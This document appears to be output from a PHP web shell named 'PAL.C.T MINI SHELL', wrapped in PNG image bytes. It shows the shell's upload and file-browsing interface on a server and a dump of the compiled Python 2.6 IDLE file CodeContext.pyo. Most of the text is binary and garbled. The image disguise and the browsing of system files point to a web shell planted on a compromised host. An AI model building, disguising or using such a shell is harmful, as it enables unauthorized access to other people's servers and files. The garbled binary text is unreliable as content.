php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/idlelib/
upload
files >> //usr/lib/python2.6/idlelib/CodeContext.pyo

Lc@sdZddkZddklZlZlZlZlZddkZddk	l
Zddkl
Z
edddd	d
ddd
dddgZdZdZeiddZdddYZdS(sICodeContext - Extension to display the block context above the edit window

Once code has scrolled off the top of a window, it can be difficult to
determine which block you are in.  This extension implements a pane at the top
of each IDLE edit window which provides block structure hints.  These hints are
the lines which contain the block opening keywords, e.g. 'if', for the
enclosing block.  The number of hint lines is determined by the numlines
variable in the CodeContext section of config-extensions.def. Lines which do
not open blocks are not shown in the context hints pane.

iN(tTOPtLEFTtXtWtSUNKEN(tmaxint(tidleConftclasstdefteliftelsetexcepttfinallytfortifttrytwhiletwithidis^(\s*)(\w*)cCs|i|iS((tmatchtgroups(tstc((s)/usr/lib/python2.6/idlelib/CodeContext.pyt<lambda>stCodeContextcBseZddgfgZeiddddddd	Zeiddd
ddddZeiddd
ddddZdZddZ
dZdddZdZ
dZdZRS(toptionss!Code Conte_xts<<toggle-code-context>>t
extensionsRtnumlinesttypetinttdefaultitbgcolortstrt	LightGraytfgcolortBlackcCs||_|i|_|id|_d|_dddtfg|_d|_ti	dddd	d
dt}|o!|i
|iidtn|ii
t|i|ii
t|idS(
NtfontiitiRRtvisibleRtboolRs<<toggle-code-context>>(teditwinttextttextfonttNonetlabeltFalsetinfot
topvisibleRt	GetOptionttoggle_code_context_eventtsetvartTruetaftertUPDATEINTERVALttimer_eventtFONTUPDATEINTERVALtfont_timer_event(tselfR'R%((s)/usr/lib/python2.6/idlelib/CodeContext.pyt__init__"s			
cCs|ip;|ii|iif}d}xM|D]E}|tt|id7}|tt|id7}q/Wd}x-|D]%}|tt|id7}qWti	|ii
dd|iddtdt
d	|id
|id|iddd|d|d
t
|_|iidtdtdtd|iin|iid|_tidddt|idj	tidS(NitpadxtborderR(s
itanchortjustifyR#tbgtfgtwidthtrelieftsidetfilltexpandtbeforeRRR%(R+R'R(t
text_frameRRt	pack_infotcgettTkintertLabelttopt
context_depthRRR)RR!RtpackRRR,tdestroyR*Rt	SetOptiontSaveUserCfgFiles(R8teventtwidgetsR:twidgetR;((s)/usr/lib/python2.6/idlelib/CodeContext.pyR07s4
 ##	
	cCs|iid|d|}t|\}}|tjo|}t|t|jp|t|djo
t}n
t|}|||fS(sGet the line indent value, text, and any block start keyword

        If the line does not start a block, the keyword value is False.
        The indentation of empty lines (or comment lines) is INFINITY.

        s%d.0s%d.endt#(R(tgettgetspacesfirstwordtBLOCKOPENERStlentINFINITY(R8tlinenumR(tspacest	firstwordtopenertindent((s)/usr/lib/python2.6/idlelib/CodeContext.pyt
get_line_info[s0
iic
Csg}t}xt||ddD]}|i|\}}}	||jou|}|	djo|d7}n|	o7||jo*||jo|i||||	fn||joPqq#q#W|i||fS(sGet context lines, starting at new_topvisible and working backwards.

        Stop when stopline or stopindent is reached. Return a tuple of context
        data and the indent level at the top of the region inspected.

        iiR
R	(R
R	(RYtxrangeR_tappendtreverse(
R8tnew_topvisibletstoplinet
stopindenttlinest
lastindentRZR^R(R]((s)/usr/lib/python2.6/idlelib/CodeContext.pytget_contextks

!


cCst|iididd}|i|jodS|i|joI|i||i\}}x|idd|jo|id=qhWn|i|jo~|iddd}x8|idd|jo|idd}|id=qW|i||iddd|\}}n|ii|||_dgtd|i	t
|i}|g}|i|i	D]}||dqy~7}d	i||id
<dS(sKUpdate context information and lines visible in the context pane.

        s@0,0t.iNiiR$is
R((
RR(tindextsplitR.RhR-textendtmaxRLRXtjoinR+(R8RcRfRgRetcontext_stringst_[1]tx((s)/usr/lib/python2.6/idlelib/CodeContext.pytupdate_code_contexts.%			&4cCs2|io|in|iit|idS(N(R+RrR(R3R4R5(R8((s)/usr/lib/python2.6/idlelib/CodeContext.pyR5s
cCs^|id}|io-||ijo||_|i|id<n|iit|idS(NR#(R(R+R)R3R6R7(R8tnewtextfont((s)/usr/lib/python2.6/idlelib/CodeContext.pyR7s

	(s!Code Conte_xts<<toggle-code-context>>N(t__name__t
__module__tmenudefsRR/RLRR!R9R*R0R_RhRrR5R7(((s)/usr/lib/python2.6/idlelib/CodeContext.pyRs	$		 	((t__doc__RItTkconstantsRRRRRtretsysRRYtidlelib.configHandlerRtsetRWR4R6tcompileRVR(((s)/usr/lib/python2.6/idlelib/CodeContext.pyt<module>s(
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`